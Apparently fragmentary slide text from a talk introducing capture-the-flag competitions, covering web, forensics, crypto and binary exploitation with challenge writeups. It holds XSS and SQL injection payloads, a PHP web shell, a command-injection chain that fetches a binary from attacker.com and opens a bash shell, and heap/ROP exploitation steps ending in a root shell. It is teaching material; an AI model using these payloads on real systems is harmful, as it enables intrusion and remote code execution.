to know to get involved ⟫ Description of various techniques with the different complexity, some of them not so well known ⟫ Further reading and study Content 3
(https://ctftime.org/calendar) ⟫ Jeopardy Style ⟫ Binary Exploitation (PWN) ⟫ Cryptography, Steganography ⟫ Digital Forensics ⟫ Reverse Engineering ⟫ Web Security ⟫ Miscellaneous (Programming, Information Gathering) ⟫ Attack-defense style ⟫ Defcon CTF, Chaos Communication Congress ⟫ Cyber Grand Challenge ⟫ In both of them, you receive points by "capturing flags" ⟫ Simple rules, anything "unfair" is prohibited What is Capture The Flag? 4
⟫ Knowledge could be applied in the broader content ⟫ Challenges are inspired by penetration testing, bug bounty, security research, latest revealed vulnerabilities ⟫ Up-to-date with the security world ⟫ After the competition is over, you can read or publish your writeups 5
MIPS ⟫ PowerPC ⟫ Multiple operating systems recommended ⟫ Linux distribution (Kali32, Kali64) ⟫ Your favourite Windows ⟫ macOS (albeit rarely used) ⟫ iOS, Android (Genymotion) ⟫ Virtualization (VMWare, QEMU, VirtualBox), snapshots Before you start playing 6
(single quote, double quote, direct interpretation) ⟫ XSS: ⟫ ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))/ /";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83)) //--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> ⟫ " onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)// ⟫ SQLi: ⟫ SLEEP(5) /*' or SLEEP(5) or '" or SLEEP(5) or "*/ ⟫ When exploiting LFI, it is common to use an image file containing the PHP code (to evade MIME checks) 8
which takes an input and executes the external binary with this input (os.system) ⟫ Any potentially malicious characters should be filtered ⟫ Can we execute any bash shell commands, even if the spaces are sanitized? $ {echo,hello,world} hello world 0.0.0.0|{wget,http://attacker.com/sbd} 0.0.0.0|{chmod,+x,./sbd} 0.0.0.0|{./sbd,-l,-p,1337,-e,/bin/bash} 9
common php backdoors looks like <?php system($_REQUEST['cmd']); ?> ⟫ What if the (double) quotes are escaped (common thing if you include the session file) ⟫ If you do not use spaces or some special characters, PHP strings do not need quotes ⟫ Consequently this payload is equivalent to the one above: <?php system($_REQUEST[cmd]); ?> 10
blacklisted to not contain potentially dangerous characters (.+-*"`[]) and later used with eval() function ⟫ We can still use ~ to generate arbitrary string ⟫ In Python: from sys import stdout for ch in 'phpinfo': stdout.write( '%'+hex(255-ord(ch))[2:] ) %8f%97%8f%96%91%99%90 ⟫ In browser, we send: $a=~'%8f%97%8f%96%91%99%90';$a();
the file we want to upload ⟫ If the extension matches .jpg, the file will be stored in DocumentRoot ⟫ The page parameter of index.php is vulnerable to LFI ⟫ After the content of the page parameter, .php string is appended) ⟫ That means we can include only .php files! ⟫ Example: "/var/www/owlur/injection.jpg" + ".php" ⟫ Naive idea - what about uploading filename.php%00.jpg? ⟫ Nope (NULL Byte Poisoning was fixed in PHP 5.3.4) ⟫ Using PHP wrappers, it is possible to read the source code: php://filter/convert.base64-encode/resource=upload php://filter/convert.base64-encode/resource=upload.php Web - Insecure Upload Challenge 12
We can use ZIP, PHAR ⟫ Example from documentation: zip://archive.zip#dir/file.txt ⟫ We want to include something like zip://archive.jpg#dir/file.php ⟫ Solution: ⟫ Create the zip archive with the compressed php shell (shell.php) ⟫ Rename the archive to archive.jpg ⟫ /index.php?page=zip:///var/www/owlur/archive.jpg%23shell ⟫ /index.php?page=zip:///var/www/owlur/archive.jpg%23shell.php ⟫ Use PHP Code / RCE to read the flag Web - Insecure Upload Challenge 13
Steghide, Stepic ⟫ Least Significant Bit Embeddings, encoding data in the pixels ⟫ Metadata (CRC, Exif Header) ⟫ Useful tools during steganalysis ⟫ https://github.com/luca-m/lsb-toolkit ⟫ Stegsolve.jar, steganabara-1.1.1.jar ⟫ outguess, xortool (hellman) ⟫ Forensics ⟫ QR Codes ⟫ Disk and memory analysis (volatility) ⟫ strings, binwalk ⟫ Good knowledge of common file formats (ZIP, PNG, JPG, BMP, etc) 20
⟫ The first one could be easily cracked using fcrackzip: $ fcrackzip -v -D -u -p /usr/share/wordlists/rockyou.txt "Evelyn Davis.zip" found file 'Evelyn Davis.vcf', (size cp/uc 137/ 155, flags 9, chk 926d) found file 'signature.png', (size cp/uc 23743/ 27018, flags 9, chk 92fc) PASSWORD FOUND!!!!: pw == basher ⟫ It was not possible to crack the second archive (with the flag) in reasonable time CTF(x) 2016 Forensics 100 - password 21
12 or 13 bytes of plaintext (not necessarily at the beginning of the files), we can perform KPA (known plaintext attack) against PkZip-encryption ⟫ The latest ZIP encryption implementation which uses RSA is not vulnerable 23
Ryan\ King.zip -c 'Ryan King.vcf' -P archive.zip -p 'Ryan King.vcf' -d decrypted.zip -a [ .. SNIP .. ] Strange... had a false hit. Ta-daaaaa! key0=86cdf919, key1=bd44c60c, key2=60dbe8f7 Probabilistic test succeeded for 114 bytes. Strange... had a false hit. Strange... had a false hit. Strange... had a false hit. Strange... had a false hit. Strange... had a false hit. Stage 2 completed. Starting zipdecrypt on Sat Aug 27 10:47:01 2016 Decrypting Ryan King.vcf (be2570e236508bf4c50b6b92)... OK! Decrypting signature.png (0d296646595805d826ba79ab)... OK! Finished on Sat Aug 27 10:47:01 2016
by Shellphish CTF team ⟫ Uses z3 solver and SimuVEX symbolic execution engine ⟫ A lot of examples and CTF writeups in the official documentation https://github.com/angr/angr-doc ⟫ Shellphish used angr in the DARPA Cyber Grand Challenge 27
and performs a jump to the code denoted by the label ret - retrieve the value from the top of the stack, unconditionally jump to this location Important questions: What happens when we have a multiple ret instructions, one after another? Program layout $ objdump -M intel -d test 00000000004004a6 <main>: 4004a6: 55 push rbp 4004a7: 48 89 e5 mov rbp,rsp 4004aa: b8 00 00 00 00 mov eax,0x0 4004af: e8 03 00 00 00 call 4004b7 <func> 4004b4: 90 nop 4004b5: 5d pop rbp 4004b6: c3 ret 00000000004004b7 <func>: 4004b7: 55 push rbp 4004b8: 48 89 e5 mov rbp,rsp 4004bb: 90 nop 4004bc: 5d pop rbp 4004bd: c3 ret 32
Solaris ⟫ The first four integer or pointer arguments are passed in registers RDI, RSI, RDX, RCX ⟫ In the simplest case, we want to achieve: mov rdi, offset shell ; address of sh\x00 ret ; system address on the top of the stack ⟫ For the x86 architecture, the arguments are passed via stack System V AMD64 ABI 33
RBP Saved Instruction Pointer RIP Function arguments ... High Memory Region Basic Stack Layout before and after overflow Low Memory Region ... Aa0Aa1Aa2Aa3Aa4Aa5Aa 6Aa7Aa8A a9Ab0Ab1 Ab2Ab3Ab 4Ab5Ab6A b7Ab8Ab9 ... High Memory Region 34
into the memory ⟫ Without PIE, there are still sections not randomized (.text, .plt, .got, .data, .bss, .rodata, .init, .fini) ⟫ Several techniques how to evade ASLR ⟫ Partial address overwrite (little endian architecture) ⟫ Brute-force ⟫ Information Leak ⟫ Side-Channel attack: http://www.cs.ucr.edu/~nael/pubs/micro16.pdf ASLR 36
likely defeated ASLR protected binary ⟫ For example, the offset from puts() to system() is always same for a specific libc version ⟫ The address of puts() is located in GOT (Global Offset Table) / PLT (Procedure Linkage Table) binary section ⟫ If the libc is dynamically linked (which is almost always), the loader puts the actual address of the symbol here ⟫ Common methods are using UAF or reading a buffer without the terminating \0 byte Information Leak 37
less straightforward to exploit ⟫ Great way to learn pwntools, gdb-peda, ROPgadget ⟫ Still online here https://ctf.csaw.io/challenges ⟫ It terminates if the user 'tutorial' does not exist ⟫ Uses argv[1] to bind on some port, where we can interact with the binary locally ⟫ For remote exploitation, server's libc is provided CSAW 2016 PWN 200 - Tutorial 38
-Tutorial- 1.Manual 2.Practice 3.Quit >2 Time to test your exploit… > ��� ���Щ CSAW 2016 PWN 200 - Tutorial ⟫ After a few minutes of static and dynamic analysis, we noticed that: ⟫ Menu 1 leaks puts symbol address - 0x500 ⟫ Menu 2 leaks the stack cookie ⟫ Menu 2 with a long buffer causes buffer overflow, which could be used to gain control over stored value of RIP 40
as web security, cryptography, steganography, binary analysis, reverse engineering, mobile security to improve your skills ⟫ As in the real world, there is no right way to solve a problem and you can use whatever works ⟫ The best way to learn is to play
Good luck! Segmentation fault TJCTF 2016 Exploit 170 - Oneshot ⟫ What if we can overwrite only one address? ⟫ The challenge binary could be downloaded here https://github.com/TJCSec/tjctf-1516-released/tree/master/oneshot 50
overflow, although much more complicated, because in most cases we do metadata corruption ⟫ A repository for learning various heap exploitation techniques from Shellphish: https://github.com/shellphish/how2heap ⟫ gdb python library for examining the glibc heap (ptmalloc2, forked from dlmalloc): https://github.com/cloudburst/libheap ⟫ Various Phrack Articles (Malloc Des-Maleficarum), https://sploitfun.wordpress.com/2015/02/10/understanding-glibc- malloc/ 55
work ⟫ For faster allocation / deallocation, glibc allocator uses fast memory chunks (fastbins). ⟫ Size varies between 16 - 80 bytes ⟫ In recent malloc() implementation, double-free attack with fastbins is still possible 56
= malloc(8); int *b = malloc(8); free(a); free(b); // we cannot free a here, because a is at the top // of the free list so the process crashes free(a); malloc(8); malloc(8); malloc(8); }
Delete user [2] List users [3] Log in > ⟫ Binary can be downloaded here: http://bit.ly/2eXaRHy ⟫ It is possible to create users, but not to log in: "Administrator should verify the account before it's marked as active" Security Fest 2016 Exploit ??? - notuslotes 59 $ checksec notuslotes [*] '/root/HACK/notuslotes' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE $ ./notuslotes Welcome to NOTUS LOTES! [0] Create user [1] Delete user [2] List users [3] Log in > 0 Name: test Active (Y/N): Y ONLY ADMINS ARE ALLOWED TO CREATE ACTIVE USERS
account2 ⟫ Delete (free) account1, account2, account1 ⟫ Create account1, account2, account1 (this last one must be an active) ⟫ Finally we are allowed to log in as admin 61 [3] Log in > 3 Name: account1 [0] Create user [1] Delete user [2] List users [3] Log in [4] Create note [5] Print notes
categories (general, invoice, receipt) ⟫ Each one uses different 'print function' ⟫ After the content (12B), the print function (4B) is stored ⟫ The binary implements its own (different one) print function: int print(char *format) { return printf(format); } ⟫ Would be easily exploitable via format strings, but unfortunately we have no control over the format parameter Security Fest 2016 Exploit ??? - notuslotes 62
if we deallocate the accounts again and create a user, interpreted as the note, allocated on the same place (UAF)? ⟫ After storing 12 bytes as user account, we can overwrite the 4B pointer ⟫ Moreover with the print function above, we can leak anything from the GOT section
[*] Libc base address: 0xf7df9000 [*] Computed system() address: 0xf7e33850 [*] Switching to interactive mode $ id uid=0(root) gid=0(root) groups=0(root) Security Fest 2016 Exploit ??? - notuslotes ⟫ Now we delete the account again, compute the system() address and use it as the new account ⟫ My final exploit is here: http://bit.ly/2fAnSup 65